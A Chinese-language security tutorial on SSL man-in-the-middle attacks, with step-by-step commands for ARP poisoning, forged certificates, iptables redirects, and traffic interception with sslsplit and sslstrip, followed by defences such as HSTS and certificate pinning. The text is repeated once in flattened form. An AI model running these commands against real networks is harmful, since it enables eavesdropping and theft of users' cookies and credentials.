MITM——SSL篇
字数 1476 2025-08-18 11:38:41

SSL中间人攻击技术详解:SSL劫持与SSL降级攻击

1. SSL中间人攻击概述

SSL中间人攻击(MITM)是指攻击者通过技术手段将自己置于客户端与服务器之间,拦截并可能修改双方的通信内容。本文主要介绍两种SSL中间人攻击技术:SSL劫持和SSL降级攻击。

2. SSL劫持攻击

2.1 攻击原理

SSL中间人劫持是指攻击者首先通过ARP欺骗、DNS劫持甚至网关劫持等手段,将客户端的访问重定向到攻击者的机器,使客户端与攻击者机器建立HTTPS连接(使用伪造证书),而攻击者机器再与真实服务端建立连接。

关键点

  • 攻击者使用伪造的证书
  • 浏览器会提示证书认证失败
  • 依赖用户忽略安全警告继续访问

2.2 实战步骤:使用sslsplit进行SSL劫持

2.2.1 建立中间人环境

首先进行ARP投毒(可使用ettercap或arpspoof工具):

arpspoof -i eth0 -t 目标IP 网关IP

2.2.2 伪造证书

使用OpenSSL生成证书私钥和根证书:

openssl genrsa -out ca.key 1024
openssl req -new -x509 -days 365 -key ca.key -out ca.crt

2.2.3 配置网络转发

启用IP转发并设置iptables规则:

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -F  # 清除nat表规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -L  # 查看规则是否生效

可添加其他端口规则:

iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 5222 -j REDIRECT --to-ports 8080

2.2.4 启动sslsplit

创建日志目录并启动sslsplit:

mkdir /tmp/sslsplit
sslsplit -D -l connections.log -j /tmp/sslsplit -S /tmp/sslsplit -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

2.2.5 结果分析

  • 捕获的SSL加密会话会存储在/tmp/sslsplit目录
  • 日志中可能包含明文信息(如cookie)
  • 大量数据可能显示为乱码,取决于原始数据是否加密

局限性

  • 浏览器会显示证书警告
  • 需要用户主动忽略警告继续访问
  • 用户体验较差,容易被发现

3. SSL降级攻击

3.1 攻击原理

SSL降级攻击利用以下漏洞:

  1. 用户不总是直接输入https://访问网站
  2. 部分网站并非全网HTTPS,只在敏感数据传输时使用HTTPS

攻击方式:

  • 将HTTPS页面中的所有https://超链接替换为http://
  • 用户点击链接时使用HTTP协议访问
  • 中间人可建立HTTPS连接与服务器通信,同时用HTTP与客户端通信

优势

  • 不会触发浏览器证书警告
  • 用户很少注意URL协议变化
  • 在App WebView中更难被发现(URL常被隐藏)

3.2 实战步骤:使用sslstrip进行SSL降级

3.2.1 启用端口转发

echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 6666

3.2.2 启动sslstrip

sslstrip -l 6666

3.2.3 清除规则(可选)

iptables -t nat -F  # 清除nat表规则
iptables -t nat -L  # 查看规则是否生效

3.2.4 结果分析

  • 成功将HTTPS连接降级为HTTP
  • 可捕获明文传输的敏感数据(如登录凭证)
  • 用户端无明显异常提示

局限性

  • 仅对支持HTTP的网站有效
  • 若用户直接访问HTTPS URL则无法降级

4. 防御措施

4.1 针对SSL劫持

  1. 用户教育:不忽略浏览器证书警告
  2. 使用HSTS(HTTP Strict Transport Security)头
  3. 证书固定(Certificate Pinning)
  4. 使用EV证书(绿色地址栏)

4.2 针对SSL降级

  1. 网站实施全站HTTPS
  2. 使用HSTS头并包含preload指令
  3. 在网页中使用安全cookie标记(Secure flag)
  4. 表单提交强制使用HTTPS

5. 工具总结

工具 用途 攻击类型 特点
sslsplit SSL中间人代理 SSL劫持 需要伪造证书,触发警告
sslstrip HTTPS降级为HTTP SSL降级 无证书警告,依赖HTTP支持

6. 法律与道德声明

本文所述技术仅用于教育目的和安全研究。未经授权对他人网络进行中间人攻击是违法行为。安全研究人员应在合法授权范围内进行测试。

SSL中间人攻击技术详解:SSL劫持与SSL降级攻击 1. SSL中间人攻击概述 SSL中间人攻击(MITM)是指攻击者通过技术手段将自己置于客户端与服务器之间,拦截并可能修改双方的通信内容。本文主要介绍两种SSL中间人攻击技术:SSL劫持和SSL降级攻击。 2. SSL劫持攻击 2.1 攻击原理 SSL中间人劫持是指攻击者首先通过ARP欺骗、DNS劫持甚至网关劫持等手段,将客户端的访问重定向到攻击者的机器,使客户端与攻击者机器建立HTTPS连接(使用伪造证书),而攻击者机器再与真实服务端建立连接。 关键点 : 攻击者使用伪造的证书 浏览器会提示证书认证失败 依赖用户忽略安全警告继续访问 2.2 实战步骤:使用sslsplit进行SSL劫持 2.2.1 建立中间人环境 首先进行ARP投毒(可使用ettercap或arpspoof工具): 2.2.2 伪造证书 使用OpenSSL生成证书私钥和根证书: 2.2.3 配置网络转发 启用IP转发并设置iptables规则: 可添加其他端口规则: 2.2.4 启动sslsplit 创建日志目录并启动sslsplit: 2.2.5 结果分析 捕获的SSL加密会话会存储在/tmp/sslsplit目录 日志中可能包含明文信息(如cookie) 大量数据可能显示为乱码,取决于原始数据是否加密 局限性 : 浏览器会显示证书警告 需要用户主动忽略警告继续访问 用户体验较差,容易被发现 3. SSL降级攻击 3.1 攻击原理 SSL降级攻击利用以下漏洞: 用户不总是直接输入https://访问网站 部分网站并非全网HTTPS,只在敏感数据传输时使用HTTPS 攻击方式: 将HTTPS页面中的所有 https:// 超链接替换为 http:// 用户点击链接时使用HTTP协议访问 中间人可建立HTTPS连接与服务器通信,同时用HTTP与客户端通信 优势 : 不会触发浏览器证书警告 用户很少注意URL协议变化 在App WebView中更难被发现(URL常被隐藏) 3.2 实战步骤:使用sslstrip进行SSL降级 3.2.1 启用端口转发 3.2.2 启动sslstrip 3.2.3 清除规则(可选) 3.2.4 结果分析 成功将HTTPS连接降级为HTTP 可捕获明文传输的敏感数据(如登录凭证) 用户端无明显异常提示 局限性 : 仅对支持HTTP的网站有效 若用户直接访问HTTPS URL则无法降级 4. 防御措施 4.1 针对SSL劫持 用户教育:不忽略浏览器证书警告 使用HSTS(HTTP Strict Transport Security)头 证书固定(Certificate Pinning) 使用EV证书(绿色地址栏) 4.2 针对SSL降级 网站实施全站HTTPS 使用HSTS头并包含preload指令 在网页中使用安全cookie标记(Secure flag) 表单提交强制使用HTTPS 5. 工具总结 | 工具 | 用途 | 攻击类型 | 特点 | |------|------|----------|------| | sslsplit | SSL中间人代理 | SSL劫持 | 需要伪造证书,触发警告 | | sslstrip | HTTPS降级为HTTP | SSL降级 | 无证书警告,依赖HTTP支持 | 6. 法律与道德声明 本文所述技术仅用于教育目的和安全研究。未经授权对他人网络进行中间人攻击是违法行为。安全研究人员应在合法授权范围内进行测试。